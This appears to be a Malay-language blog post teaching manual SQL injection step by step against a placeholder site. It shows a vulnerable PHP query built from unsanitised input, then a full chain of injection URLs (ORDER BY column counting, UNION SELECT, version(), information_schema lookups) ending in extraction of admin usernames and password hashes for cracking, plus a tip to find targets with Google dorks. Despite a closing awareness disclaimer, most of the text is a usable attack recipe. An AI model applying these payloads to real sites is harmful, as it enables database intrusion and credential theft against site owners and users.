5 perkara yang anda perlu tahu tentang SQLi
- Asas injection
- Mendapatkan Data
- Keluarkan Data
- Kumpul Maklumat
- Kumpul Data
Asas Injection
- Seperti yang semua tahu , jika ingin melakukan SQL injection , semestinya laman tersebut menggunakan Database. Ini kerana melalui injection sql ini adalah untuk mendapatkan maklumat melalui database tersebut.
- Cara mudah mengesan laman yang menggunakan sql ialah jika diperhatikan pada URL ( alamat web ) , ianya mempunyai perimeter id= seperti :
http://www.contoh.my/index.php?id=1- "index.php" merupakan nama file dan "id=1" merupakan perimeter bagi sesuatu info pada laman tersebut.
- Dengan menggunakan perintah :
$result = $db -> query ("SELECT * FROM `content` WHERE id=" . $_GET ['id']);- Kebiasaanya laman akan diperintahkan melalui :
SELECT * FROM `content` WHERE id=1- Ini akan membolehkannya disuntik ( inject ) pada perimeter id=1 . Contohnya :
http://www.contoh.my/index.php?id=1'- Maka anda akan perhatikan keluar error seperti :
Fatal error: Call to a member function fetch_row() on a non-object in /home/sites/contoh.my/public_html/index.php on line 50- Namunpun begitu , bukan semua laman akan mengeluarkan error jenis ini, jika anda perhatikan perbezaan laman sebelum dan selepas di inject , maka ia berpotensi di inject.
- Jadi , sehingga kini Kami harap anda semua faham bagaimana untuk mengenalpasti laman yang berpotensi di inject .
Mendapatkan Data
- Dibahagian ini , Kami akan menerangkan secara lalu bagaimana mendapatkan Data melalui query ( suntikan / injection )
- Setelah kita mendapati sesuatu laman mempunyai vuln untuk sql injection , anda perlu mendapatkan maklumat jumlah table dan column dalam bagi sesuatu database.
- Dengan menggunakan arahan ORDER BY akan memberikan maklumat tersebut.
- Anda harus meneka jumlah table dengan perhatikan error yang muncul. Jika belum keluar error maka jumlah table masih banyak.
- Contohnya :
http://www.contoh.my/index.php?id=1+ORDER+BY+1--
http://www.contoh.my/index.php?id=1+ORDER+BY+2--
http://www.contoh.my/index.php?id=1+ORDER+BY+3--
http://www.contoh.my/index.php?id=1+ORDER+BY+4-- <--Ada error- Jadi , jumlah table ialah 3
Keluarkan Data
- Setelah kita mengetahui jumlah table , maka kita perlu mengeluarkan data melalui arahan UNION SELECT
- Contoh laman tadi mempunyai 3 table.
http://www.contoh.my/index.php?id=1+ORDER+BY+3--- Maka , tambahhkan arahan UNION SELECT. Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,2,3--- Selepas menjalankan arahan diatas , akan muncul no 1 atau 2 dll bagi menunjukkan no ajaib yang membolehkan arahan dijalankan keatas no tu pula .
- Contohnya untuk laman ini keluar no 2
Kumpul Maklumat
- Setelah kita mendapat no ajaib iaitu 2 , disini kita akan dapatkan maklumat versi / database yang digunakan laman ini.
- Jadi , anda hanya perlu tambah arahan version() pada no ajaib , maka akan keluar versi / database yang digunakan. Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,version(),3--- Maka versi database akan muncul seperti 4.X.X atau 5.X.X , jika database laman tersebut menggunakan versi 5 , maka anda boleh guna default database name nya iaitu information_schema .
- Jadi , database name kita dah dapat , seterusnya kita dapatkan table name pula melalui arahan TABLE_NAME. Arahan ini diletakkan di no ajaib tadi ( 2 )
- Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,TABLE_NAME,3--- Dan tambahkan database name kat belakang menjadi :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,TABLE_NAME,3+from+information_schema.tables--- Maka anda akan dapat lihat table yang ada dalam database laman tersebut.
Kumpul Data
- Jadi sekarang anda sudah dapat lihat table yang ada dalam laman tersebut , langkah terakhir ini ialah untuk mengumpul Data daripada table.
- Jadi , perkara asas yang biasanya penggodam lakukan ialah mencari table yang mengandungi maklumat Admin / users bagi membolehkannya mendapatkan maklumat login ( email , password )
- Gunakan arahan group_concat(table_name) pada no ajaib ( 2 ) bagi mengeluarkan maklumat dalam table tersebut.
- Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(table_name),3+from+information_schema.tables--- Dan gantikan +from+information_schema.tables+where+table_schema=database()-- kat belakang. Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--- Kali ini anda akan perhatikan folder table yang mengandungi data didalamnya. Contohnya anda lihat table yang bernama " Admin " , sila convert table name " Admin " tersebut kepada HEXADECIMEL disini
- Setelah anda convert , sila masukkan arahan group_concat(column_name) kat no ajaib tadi ( 2 ). Contohnya :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(column_name),3+from+information_schema.tables+where+table_schema=database()--- Dan kemudian tambahkan arahan +from+information_schema.columns+where+table_name=0xHEXADECIMEL-- . Contohnya table name tadi " Admin " , setelah di convert menjadi 41444D494E . Maka arahan akan jadi seperti berikut :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,group_concat(column_name),3+from+information_schema.columns+where+table_name=0x41444D494E--- Sekarang kita berada dalam folder ADMIN , jadi kita akan keluarkan data melalui arahan concat_ws(0x3a,"nama column yang terkandung dlm table ADMIN") . Contohnya table yang ada ialah "username" dan "password" , maka arahan akan jadi seperti berikut :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,concat_ws(0x3a,"username,password"),3+from+information_schema.columns+where+table_name=0x41444D494E--- Kemudian gantikan arahan belakang kepada +from+Admin-- bagi menjayakan arahan untuk mendapatkan maklumat daripada table ADMIN. Maka arahan akan seperti berikut :
http://www.contoh.my/index.php?id=1+UNION+SELECT+1,concat_ws(0x3a,"username,password"),3+from+Admin--- Dan sekarang anda akan lihat data "username" dan "password" seperti arahan yang kita jalankan.
- Password berkemungkinan besar dalam bentuk hash , jadi anda perlu decrypt untuk mendapatkan plain text nya seterusnya mendapatkan login page admin tersebut.
Apa yang Kami tunjukkan disini ialah melalui 5 langkah sahaja penggodam berjaya mendapatkan maklumat melalui error sql. Namunpun begitu , masih terdapat beberapa arahan lain yang boleh digunakan pada masa tertentu dan tujuan tertentu.
Kami cuba memaparkan cara penggodam mendapatkan data melalui teknik SQLi , jadi ini akan membuka mata semua pihak bagaimana mereka melakukan kerja mereka. Harap dengan info ini maka pihak tertentu akan cuba manfaatkannya kearah kebaikan dan diselangi dengan tujuan pembelajaran.
Info :
1 - Anda boleh gunakan pada file jenis .php dan juga .asp juga
2 - Gunakan dork google untuk memudahkan pencarian perimeter
No comments:
Post a Comment